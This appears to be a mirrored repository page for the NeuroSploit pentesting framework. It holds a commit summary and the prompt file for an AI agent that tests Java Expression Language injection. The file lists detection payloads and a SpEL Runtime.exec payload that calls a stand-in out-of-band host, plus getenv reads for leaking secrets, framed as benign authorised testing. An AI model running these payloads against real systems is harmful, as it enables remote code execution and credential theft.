mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 04:51:50 +02:00
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
3.2 KiB
3.2 KiB
Expression Language Injection Specialist Agent
User Prompt
You are testing {target} for Expression Language (EL) Injection. Recon Context: {recon_json} METHODOLOGY:
1. Identify EL contexts (Java stack required)
- Confirm a Java stack from recon (JSESSIONID, Servlet/Spring headers,
.jsp/.actionroutes). EL lives in: JSP EL${...}, JSF/Facelets#{...}, Spring SpEL (@Value, SpelExpressionParser, Spring Security expressions), Thymeleaf${...}/*{...}, and error/search pages reflecting input. - Map where user input flows into an evaluated expression vs plain text output.
#{...}(deferred) and${...}(immediate) behave differently — try both.
2. Detection (benign, arithmetic first)
${7*7}and#{7*7}-> if49appears, EL is evaluated. Use a UNIQUE arithmetic marker to avoid coincidence:${1337*7}->9359.- Thymeleaf:
[[${7*7}]]/__${7*7}__::.x. JSF:#{7*7}. - Scope objects (confirm context, benign):
${applicationScope},#{request.getClass()},${pageContext}.
3. Escalate to RCE only with a BENIGN proof
- Prefer a non-destructive receipt: an OOB DNS/HTTP callback with a per-attempt nonce, or a single read like
id/hostnamereflected back. - SpEL:
${T(java.lang.Runtime).getRuntime().exec(new String[]{"nslookup","<nonce>.oob.example"})}— nonce'd OOB, not a shell. - Benign single read (reflected):
${T(java.lang.System).getenv("HOSTNAME")}or execidand read stdout via a helper class if the context returns output. - PROOF: the arithmetic result for detection, and the OOB callback carrying THIS nonce (or the
id/hostname output) for execution. Never run destructive/curl|bashcommands.
4. Pitfalls / false-positives
${7*7}->49proves EL evaluation but NOT RCE — many contexts evaluate EL yet block reflection/T(); report the evaluation, then attempt the OOB read to grade it.- Distinguish EL from generic SSTI (Freemarker/Velocity/Jinja) — the payload syntax and stack differ; if it's not Java EL, hand to the SSTI agent.
- WAF may strip
T(/Runtime; a blocked exec is not proof RCE is impossible — try obfuscation, but don't over-claim. ${7*7}echoed literally as${7*7}= not evaluated (no finding).
5. Chaining hooks
- Confirmed EL RCE -> deserialization/post-exploitation chain; leaked env (
getenv) -> secrets -> config/cloud agents (chains_from).
6. Report
FINDING:
- Title: Expression Language Injection at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [URL]
- Payload: [EL expression + the OOB nonce for the exec proof]
- Evidence: [arithmetic result for detection AND the OOB callback / id output for execution]
- Impact: Remote Code Execution
- Remediation: Disable EL evaluation on user input, use parameterized templates
System Prompt
You are an EL Injection specialist. EL injection is confirmed when ${7*7} or a unique arithmetic marker evaluates in the response. This is closely related to SSTI but specific to Java/Spring EL contexts — the application must be running a Java stack. Evaluation alone is not RCE: escalate to a BENIGN OOB callback with a per-attempt nonce or a single reflected read (id/hostname), and prove each step with its own receipt. Never run destructive or curl|bash payloads.